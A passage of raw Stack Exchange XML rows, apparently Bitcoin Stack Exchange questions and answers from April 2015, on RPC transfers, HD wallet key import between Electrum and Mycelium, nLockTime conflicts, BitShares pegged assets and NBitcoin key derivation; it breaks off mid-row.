  <row Id="37006" PostTypeId="2" ParentId="37004" CreationDate="2015-04-20T14:40:15.293" Score="1" Body="&lt;p&gt;Steps to transfer bitcoin from Sam to Bob:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;li&gt;&#xA;Create a python script to connect to Sam's RPC server. Suppose Sam's IP is 172.28.128.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from jsonrpc import ServiceProxy&#xA;access = ServiceProxy(&quot;http://user:password@172.28.128.4:8332&quot;)&#xA;print(access.sendtoaddress(Bob's_Bitcoin_Address, Transfer_Balance))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/li&gt;&lt;/p&gt;&#xA;" OwnerUserId="24601" LastActivityDate="2015-04-20T14:40:15.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37007" PostTypeId="1" CreationDate="2015-04-20T20:22:46.063" Score="4" ViewCount="80" Body="&lt;p&gt;Deterministic wallets enable reliable backups but the mainline client doesn't use them.  I was told that bitcoind and Bitcoin-QT are planning on switching to deterministic wallets by default, is this correct?  Any idea of when?&lt;/p&gt;&#xA;" OwnerUserId="4264" LastActivityDate="2015-04-21T17:47:12.360" Title="Is mainline Bitcoin planning on switching to deterministic wallets?" Tags="|wallet|backup|deterministic-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37008" PostTypeId="1" AcceptedAnswerId="37012" CreationDate="2015-04-20T20:46:09.227" Score="1" ViewCount="427" Body="&lt;p&gt;I am writing a java webserver that can use bitcoin as a payment method. Thanks to the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/36953/accept-payments-on-someone-elses-behalf-without-being-able-to-spend-them&quot;&gt;helpful advice in this question,&lt;/a&gt; I am able to generate payment addresses for various signed up vendors. I am now taking that address and creating a Payment Request using the bitcoinJ library. I would like, however, to have this request as a meaningful URL still, so the web browser or client making the payment can do something with it. That is to say, I create the payment request on the server and return it to the client. The client can then put that request in their wallet of choice and make a payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the payment request able to work that way? &lt;a href=&quot;https://stackoverflow.com/questions/23568270/how-do-i-create-a-bitcoin-payment-request&quot;&gt;I saw this post on stackoverflow that indicates that it can,&lt;/a&gt; however I haven't been able to see anything within the API I am using that can do that. Is that a limitation of the specification, the library I'm using, or is it possible to do?&lt;/p&gt;&#xA;" OwnerUserId="25098" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-04-21T00:39:45.697" Title="Can you generate a url from a payment request?" Tags="|bitcoinj|website-integration|bip70-payment-protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37009" PostTypeId="2" ParentId="37005" CreationDate="2015-04-20T21:22:25.450" Score="2" Body="&lt;p&gt;This seems rather odd to me. I try to time my purchases &lt;em&gt;with&lt;/em&gt; Bitcoins for times when the price is high. And I try to time my purchases &lt;em&gt;of&lt;/em&gt; Bitcoins for times when the price is low. If I use a service like this, I'll either be buying high or selling low, which is not my personal preference.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-04-20T21:22:25.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37010" PostTypeId="1" CreationDate="2015-04-20T21:33:27.527" Score="1" ViewCount="110" Body="&lt;p&gt;I'm running a Litecoin pool that seems like it might be stuck on a particular block... it's been working fine all along but is currently at like 312% Of Expected Shares, I've checked the cron jobs and they seem to be running fine (none disabled) ... should I take action on this or is it purely a bad luck situation?&lt;/p&gt;&#xA;" OwnerUserId="21406" LastActivityDate="2015-04-20T21:33:27.527" Title="Pool that seems to be stuck on a block" Tags="|mining-pools|litecoin|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37011" PostTypeId="2" ParentId="19675" CreationDate="2015-04-20T22:35:26.880" Score="1" Body="&lt;p&gt;Remove the paddings from bottom and open screws under them.&lt;/p&gt;&#xA;" OwnerUserId="25146" LastActivityDate="2015-04-20T22:35:26.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37012" PostTypeId="2" ParentId="37008" CreationDate="2015-04-21T00:39:45.697" Score="1" Body="&lt;p&gt;You can. If you make a Bitcoin URI with the &lt;code&gt;r&lt;/code&gt; parameter, it will interpret that as a url to fetch the PaymentRequest from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation on this feature is frustratingly sparse, so I'm having trouble figuring out how to implement all of the details, though.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-21T00:39:45.697" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37013" PostTypeId="1" AcceptedAnswerId="37017" CreationDate="2015-04-21T10:29:27.877" Score="5" ViewCount="8962" Body="&lt;p&gt;I'd like to export a derived private key from my Electrum HD wallet, and use it as a HD wallet master key in a Mycelium wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;code&gt;bx&lt;/code&gt; to get the key like this (&lt;code&gt;m/2'/0&lt;/code&gt;) (where &lt;code&gt;m&lt;/code&gt; is the unencrypted &lt;code&gt;xprv&lt;/code&gt; key extracted from default_wallet JSON):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat m | bx hd-private --index 2 --hard \&#xA;        | bx hd-to-wif | qrencode -o - | feh -&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And scanned the resulting QR code in Mycelium using the &quot;Add Unrelated Account/Scan&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wallet works, but it's treated as a &quot;single-address&quot; wallet, not a HD wallet. I presumed that the derived xprv can be used as a master key for deriving more keys, since it contains the chaincode. Is that not the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the Mycelium &quot;Add Unrelated Account&quot; screen says that&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Scan Bitcoin address, private key or HD-Account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What format does &quot;HD-Account&quot; mean? Is it WIF?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; To make it clear, the key thing I want is to have a HD account in Mycelium, whith a master key derived from my Electrum HD wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose of this is to have only one seed to &lt;s&gt;remember&lt;/s&gt; store - the seed of the Electrum wallet. If my phone is lost, or my Mycelium wallet is compromised, I only have to derive it's master key again from my Electrum master key, reconstruct the wallet keys, take the money and run. And since the Mycelium master key is hardened, I don't have to worry about the rest of the tree being compromised, even if the master public key leaks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on answers of &lt;a href=&quot;https://bitcoin.stackexchange.com/a/37017/25148&quot;&gt;Christopher Gurnee&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/a/37017/25148&quot;&gt;Wizard of Ozzie&lt;/a&gt;, I could build a diagram to make it more clear:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://www.lucidchart.com/publicSegments/view/5536e567-ee14-4c85-bb0e-436e0a00ddcf/image.png&quot; alt=&quot;Two-level HD wallet paths&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt; Updated diagram to match Mycelium's behavior of treating imported extended private keys.&lt;/p&gt;&#xA;" OwnerUserId="25148" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2019-04-09T04:29:53.207" Title="How to import a HD wallet from an extended private key" Tags="|bip32-hd-wallets|wallet-import|private-key-import|wallet-import-format|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37014" PostTypeId="2" ParentId="37013" CreationDate="2015-04-21T11:35:17.150" Score="1" Body="&lt;p&gt;Mycelium uses: &lt;code&gt;m/44'/0'/0'/0&lt;/code&gt; (see this &lt;a href=&quot;https://dcpos.github.io/bip39/&quot; rel=&quot;nofollow&quot;&gt;bip39 site&lt;/a&gt;). That means &lt;code&gt;/0'/0&lt;/code&gt; (it's BIP44 notation, where &lt;code&gt;m/44'/0'/&lt;/code&gt; means Bitcoin (44), mainnet (0').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second question is referring to ...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;importing a watch only address&lt;/li&gt;&#xA;&lt;li&gt;importing a non-HD WIF&lt;/li&gt;&#xA;&lt;li&gt;Importing a master key not generated by mycelium&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-04-21T11:35:17.150" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37015" PostTypeId="2" ParentId="30592" CreationDate="2015-04-21T13:48:59.833" Score="1" Body="&lt;p&gt;You will need the private keys for the addresse(s) you donated from. You can get them from the client you used and need to import them into an account in your client.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open up you client&lt;/li&gt;&#xA;&lt;li&gt;Let it sync with the network&lt;/li&gt;&#xA;&lt;li&gt;Create a new local account (no need to register it)&lt;/li&gt;&#xA;&lt;li&gt;Got to the settings of your account&lt;/li&gt;&#xA;&lt;li&gt;Go to the &quot;keys&quot; tab&lt;/li&gt;&#xA;&lt;li&gt;Import the private keys&lt;/li&gt;&#xA;&lt;li&gt;Get the &lt;code&gt;wallet.dat&lt;/code&gt; file from the bitcoin-core/protoshares client and import as &quot;Bitcoin wallet&quot;&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Import&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should see your funds instantly. Also note that you certainly also have a &lt;em&gt;vested&lt;/em&gt; balance from &lt;strong&gt;the merger&lt;/strong&gt; with DNS and VOTE. You can check the balance with &lt;code&gt;wallet_check_sharedrop&lt;/code&gt; and claim your vested balance using &lt;code&gt;wallet_collect_vested_balances accountname&lt;/code&gt;. Note, that the vested balance can be collected over a 2 year period, no matter the exact date of collection (except for the transaction fee).&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2015-04-21T13:48:59.833" CommentCount="0" CommunityOwnedDate="2015-04-21T13:48:59.833" ContentLicense="CC BY-SA 3.0" />
  <row Id="37016" PostTypeId="1" CreationDate="2015-04-21T15:48:56.633" Score="1" ViewCount="2285" Body="&lt;p&gt;I am looking for a possibility to rename automatically new wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my problem is that when I restore a wallet by terminal I get this error: &quot;Remove the existing wallet first!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if I rename the default_wallet to wallet1 (for example) i get no error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so is there a possibility to rename new wallets automatically to wallet1, wallet2, wallet3, ... ? maybe by electrum config? &lt;/p&gt;&#xA;" OwnerUserId="25152" LastActivityDate="2015-04-22T12:38:46.513" Title="electrum - how to rename automatic a new wallet?" Tags="|electrum|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37017" PostTypeId="2" ParentId="37013" CreationDate="2015-04-21T17:34:57.580" Score="7" Body="&lt;h3&gt;Response to clarified first part&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You're pretty close, I suspect you want something simpler like this (and then typing in the xprv you extracted from an Electrum 2.x (unencrypted) wallet file):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bx hd-private --index 2 --hard | qrencode -o - | feh -&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, don't include the &lt;code&gt;bx hd-to-wif&lt;/code&gt; step, that's probably what's tripping you up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you do the import/add-new-account in Mycelium (2.3.0+ required), make sure you're choosing the Advanced option, and then do the scan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you're done, the resulting keys/addresses will be along a path of m/2'/c/i.[1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you ever need to do a recovery (i.e. if you lose your phone), you can import the same xprv you imported into Mycelium into a new wallet in Electrum (using the restore wallet option). It may not be documented, but Electrum 2.x will also accept an xprv during a restore, and then it will generate the same c/i path that Mycelium uses for imported xprvs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tested any of this though... &lt;em&gt;please&lt;/em&gt; test it out before relying on it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Response to original first part&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;(this is mostly irrelevant to the clarified question)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer the first part of your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Electrum 2.x extended master private key can be directly imported imported into Mycelium for Android (version 2.3.0+), no conversions or path derivations are required. It will result in the same list of addresses being generated in both Electrum 2.x and Mycelium. It turns out you were just overthinking the problem ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means you can just run &lt;code&gt;qrencode -o - | feh -&lt;/code&gt; and paste your extracted xprv directly in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More details on inter-wallet compatibility can be found here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1000544.0&quot;&gt;https://bitcointalk.org/index.php?topic=1000544.0&lt;/a&gt;. For your specific case of exporting/importing an xprv, you can look at the third tab in the referenced spreadsheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, the reason they are compatible isn't obvious. Both use BIP-32, however (as Wizard Of Ozzie already pointed out) Mycelium uses a path of &lt;code&gt;m/44'/0'/a'/c/i&lt;/code&gt;, whereas Electrum 2.x uses a path of &lt;code&gt;m/c/i&lt;/code&gt;.[1]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes them compatible is that Electrum 2.x exports the master key at the root position, however Mycelium assumes that the key was exported at the &lt;code&gt;m/44'/0'/a'&lt;/code&gt; position. Mycelium then derives keys by appending an additional &lt;code&gt;c/i&lt;/code&gt; path to the imported key, which is the exact same &lt;code&gt;c/i&lt;/code&gt; path with Electrum appends to it's root key (&lt;code&gt;m&lt;/code&gt;). A diagram might be more clear:&#xA;&lt;code&gt;&#xA;Electrum 2.x:           m/c/i&#xA;Mycelium:     m/44'/0'/0'/c/i&#xA;                       ^^ key being exported/imported&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1]:&lt;br /&gt;&#xA;a = account index&lt;br /&gt;&#xA;c = 0 for external, 1 for internal (change)&lt;br /&gt;&#xA;i = key/address index&lt;br /&gt;&#xA;' means hardened&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-04-21T23:31:06.243" LastActivityDate="2015-04-21T23:31:06.243" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="37018" PostTypeId="2" ParentId="37007" CreationDate="2015-04-21T17:47:12.360" Score="1" Body="&lt;p&gt;It seems very likely, however it also seems to be a fairly long-term goal with no ETA as of yet: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/5761&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/5761&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25088" LastActivityDate="2015-04-21T17:47:12.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37019" PostTypeId="1" AcceptedAnswerId="37024" CreationDate="2015-04-21T17:54:20.270" Score="0" ViewCount="81" Body="&lt;p&gt;I'm looking to create a coin with my own method of securing the network. Is there anything close to something I could create my own algorithm and replace that portion of the code with my own? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11859" LastEditorUserId="2306" LastEditDate="2015-04-22T08:23:22.057" LastActivityDate="2015-04-22T08:23:22.057" Title="Is there anything like a &quot;blank&quot; blockchain?" Tags="|altcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37021" PostTypeId="2" ParentId="37004" CreationDate="2015-04-21T19:03:15.923" Score="2" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;access.move(name, name2, balance)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-21T19:03:15.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37024" PostTypeId="2" ParentId="37019" CreationDate="2015-04-21T22:55:04.257" Score="2" Body="&lt;p&gt;Yep. Do all of the normal steps for creating an altcoin. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=225690.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=225690.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, replace the &lt;code&gt;CheckProofOfWork&lt;/code&gt; function with something else.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-21T22:55:04.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37025" PostTypeId="2" ParentId="32095" CreationDate="2015-04-21T22:58:37.913" Score="1" Body="&lt;p&gt;You should try using BIP32 to generate addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a node.js implementation here: &lt;a href=&quot;http://cryptocoinjs.com/modules/currency/hdkey/&quot; rel=&quot;nofollow&quot;&gt;http://cryptocoinjs.com/modules/currency/hdkey/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-21T22:58:37.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37026" PostTypeId="1" CreationDate="2015-04-22T00:18:35.343" Score="2" ViewCount="84" Body="&lt;p&gt;What happens if I broadcast two nLockTime transactions with different nLockTime but same input?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the smallest nLockTime going to be accepted or is it the tx that reaches the network the fastest that will be accepted.&lt;/p&gt;&#xA;" OwnerUserId="25163" LastActivityDate="2015-04-22T02:56:47.473" Title="2 nLockTime TXs with same input" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37027" PostTypeId="2" ParentId="37026" CreationDate="2015-04-22T01:12:32.120" Score="0" Body="&lt;p&gt;I don't think transaction replacement is enabled, so it would be the transaction that was accepted first.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-22T01:12:32.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37028" PostTypeId="1" CreationDate="2015-04-22T01:49:50.590" Score="3" ViewCount="249" Body="&lt;p&gt;I did not forget my password. I have been done dozens of transactions with Electrum, and every time I try to send bitcoins, I get &quot;Invalid Password&quot;. So I restore from seed, set a new password, use it to make a transaction, or two, but it seems after a few hours it somehow expires. This method works, but is mysterious and annoying.&lt;/p&gt;&#xA;" OwnerUserId="25164" LastActivityDate="2015-04-22T01:49:50.590" Title="Electrum - Why do I have to Restore every time I use it?" Tags="|electrum|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37030" PostTypeId="2" ParentId="37026" CreationDate="2015-04-22T02:56:47.473" Score="4" Body="&lt;p&gt;Background info:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/899/in-a-double-spend-attempt-how-is-the-valid-transaction-chosen&quot;&gt;In a double spend attempt, how is the valid transaction chosen?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As Nick mentioned, transaction replacement using nLockTime and the sequence numbers isn't currently enabled by the network. In practice, this means that any transactions with an nLockTime in the future and at least one input with non-max sequence number won't be broadcasted because it is not a 'final' transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;broadcast TX1 with nLockTime 3 days in the future and then TX2 with nLockTime 2 days in the future, neither will be propagated by the network.&lt;/li&gt;&#xA;&lt;li&gt;broadcast TX1 with nLockTime 3 days in the future and then TX2 with nLockTime not in effect (or in the past), TX2 will be accepted and broadcasted even though it wasn't the first TX spending its input.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Essentially, the network 'accepts' the first &lt;strong&gt;final&lt;/strong&gt; (ready for inclusion in a block) transaction spending that input that it sees. There are some proposals to alter this method, such as &lt;a href=&quot;https://github.com/bitcoinxt/bitcoinxt&quot; rel=&quot;nofollow noreferrer&quot;&gt;relay-first-double-spend&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10733/what-is-replace-by-fee&quot;&gt;replace-by-fee&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-04-22T02:56:47.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37032" PostTypeId="1" AcceptedAnswerId="37053" CreationDate="2015-04-22T08:58:50.473" Score="3" ViewCount="2324" Body="&lt;p&gt;I'm reading up on Bitshares and they say they have market pegged assets that are linked to USD and Gold (BitUSD and BitGold)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They say it holds a stable price and fluctuates somehow to make sure you still have that exact value. What I'm assuming they mean is that if you have 100 BitUSD that is equal to $100 USD. And if BitUSD dropped in value to say $90, your bitUSD will fluctuate to 110 or something to compensate the change. So the coins/asset are the #'s that are actually moving not the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the question I have is say if you have 1000 BitUSD and you want to cash out to USD. Who is going to be the one giving you actual dollars? Sure if you put in $1000 USD and purchased 1000 BitUSD. Say if you wanted to sell that 1000BitUSD now, who is going to buy that back from u at $1000?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm confused about on the Market Pegged Assets. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-10-28T10:18:42.783" Title="Can someone explain how does Bitshares market pegged assets work?" Tags="|bitshares|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37033" PostTypeId="2" ParentId="37032" CreationDate="2015-04-22T09:10:29.280" Score="0" Body="&lt;p&gt;Someone who wants the asset is going to buy it back from you. There should be about as many people wanting to get into BitUSD as get out of it. If for some reason there's an imbalance, there should be enough people who don't particularly care what asset they hold to absorb the imbalance at a slightly better rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the above assumes that the scheme actually works and is reasonably popular.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-04-22T09:10:29.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37034" PostTypeId="2" ParentId="37032" CreationDate="2015-04-22T09:22:12.513" Score="0" Body="&lt;p&gt;The idea is that the protocol has people who tell the coin what the price is. Then, based on that, it either adds or removes money from the system.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now the question I have is say if you have 1000 BitUSD and you want to cash out to USD. Who is going to be the one giving you actual dollars?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Someone who is willing to sell their USD in exchange for BitUSD. There's no organization that will guarantee that you can get USD for your BitUSD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would have expected this to have exploded somehow by now, but it seems to be working fine after 6 months.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-04-22T09:22:12.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37035" PostTypeId="1" CreationDate="2015-04-22T09:52:19.760" Score="1" ViewCount="170" Body="&lt;p&gt;so my problem isn't with bitcoin particularly but with a dying altcoin, I have the same problem as &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10859/how-to-check-bitcoind-block-chain-download-progress-level&quot;&gt;here&lt;/a&gt;.&#xA;But can't use a blockchain explorer site, since there doesn't exist one.&#xA;Is there any way to query this number from a node?&lt;/p&gt;&#xA;" OwnerUserId="25172" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2015-04-22T09:52:19.760" Title="How to check Bitcoind block chain download progress level without blockchain explorer?" Tags="|blockchain|synchronization|block|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37036" PostTypeId="2" ParentId="36972" CreationDate="2015-04-22T09:57:23.690" Score="0" Body="&lt;p&gt;Check out Datacoin, it is a lot more bitcoin-like than alternatives mentioned like Storj. Plus it's been released about two years ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it's dying, but there are still active nodes and it works.&lt;/p&gt;&#xA;" OwnerUserId="25172" LastActivityDate="2015-04-22T09:57:23.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37037" PostTypeId="2" ParentId="37016" CreationDate="2015-04-22T12:04:55.887" Score="1" Body="&lt;p&gt;Change the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see where the word 'default_wallet' is defined:&#xA;&lt;a href=&quot;https://github.com/spesmilo/electrum/search?utf8=%E2%9C%93&amp;amp;q=default_wallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/spesmilo/electrum/search?utf8=%E2%9C%93&amp;amp;q=default_wallet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would change that to 'wallet1' the default created wallet would be called wallet1.&lt;/p&gt;&#xA;" OwnerUserId="21294" LastActivityDate="2015-04-22T12:04:55.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37038" PostTypeId="1" AcceptedAnswerId="37046" CreationDate="2015-04-22T12:19:06.363" Score="1" ViewCount="266" Body="&lt;p&gt;When writing the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            ////////////////1st offline SERVER//////////////////&#xA;            //Create Master Private Key with a seed&#xA;            ExtKey privateKey = new ExtKey(&quot;16236c2028fd2018eb7049825e6b4f0191de4dbff003579918de7b7348ff06ac&quot;);&#xA;            //create master public key from this privateKey&#xA;            ExtPubKey pubKey = privateKey.Neuter();&#xA;&#xA;            //save it's wifStr as key to the next server to use and generate all child keys &#xA;            string wifStr = pubKey.ToString(Network.Main);&#xA;            ////////////////END//////////////////&#xA;&#xA;&#xA;&#xA;            ////////////////2nd online SERVER//////////////////&#xA;            ExtPubKey key = ExtPubKey.Parse(wifStr);&#xA;            //The payment server receive an order, note the server does not need the private key to generate the address&#xA;            uint orderID = 1001;&#xA;            //address created with only extendet publik key &#xA;            BitcoinAddress address = key.Derive(orderID).PubKey.GetAddress(Network.Main);&#xA;&#xA;            Console.WriteLine(address);&#xA;            ////////////////END//////////////////&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I using hardened private derivation function ? please explain why . &#xA;I know that in order to use hardened private derivation function I should derive it from a hardened parent, but how do I know that the parent is hardened parent ?&lt;/p&gt;&#xA;" OwnerUserId="5152" LastEditorUserId="2306" LastEditDate="2015-04-22T18:11:56.980" LastActivityDate="2015-04-22T18:11:56.980" Title="Does NBitcoin use hardened private derivation?" Tags="|bip32-hd-wallets|nbitcoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37040" PostTypeId="1" AcceptedAnswerId="37042" CreationDate="2015-04-22T12:42:19.300" Score="5" ViewCount="6113" Body="&lt;p&gt;&lt;em&gt;(Note: I'm using &lt;a href=&quot;http://www.royalforkblog.com/2014/08/11/graphical-address-generator/&quot; rel=&quot;noreferrer&quot;&gt;http://www.royalforkblog.com/2014/08/11/graphical-address-generator/&lt;/a&gt; (use &quot;bitcoin&quot; as the phrase for generating the private key)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'm trying to take the &lt;em&gt;first step&lt;/em&gt; in going from a publickey to an address.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if this is my public key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;publickey = 02218AD6CDC632E7AE7D04472374311CEBBBBF0AB540D2D08C3400BB844C654231&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should be the result of the next step:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ripemd160(sha256(publickey)) = 5238C71458E464D9FF90299ABCA4A1D7B9CB76AB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, when I try to do this in python, I fail to get the same result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; hashlib.new('sha256', '02218AD6CDC632E7AE7D04472374311CEBBBBF0AB540D2D08C3400BB844C654231').hexdigest()&#xA;'6e28eefe40e5855ed8cdf0599ec12e52f73a5b222c84ba957b4dcdd2d8a9cf2a'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; hashlib.new('ripemd160', '6e28eefe40e5855ed8cdf0599ec12e52f73a5b222c84ba957b4dcdd2d8a9cf2a').hexdigest()&#xA;'e607ff4fa71ef33ca357415e3d2f781c4cedacc3'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where am I going wrong when using sha256 and ripemd160 in my python code?&lt;/p&gt;&#xA;" OwnerUserId="24926" 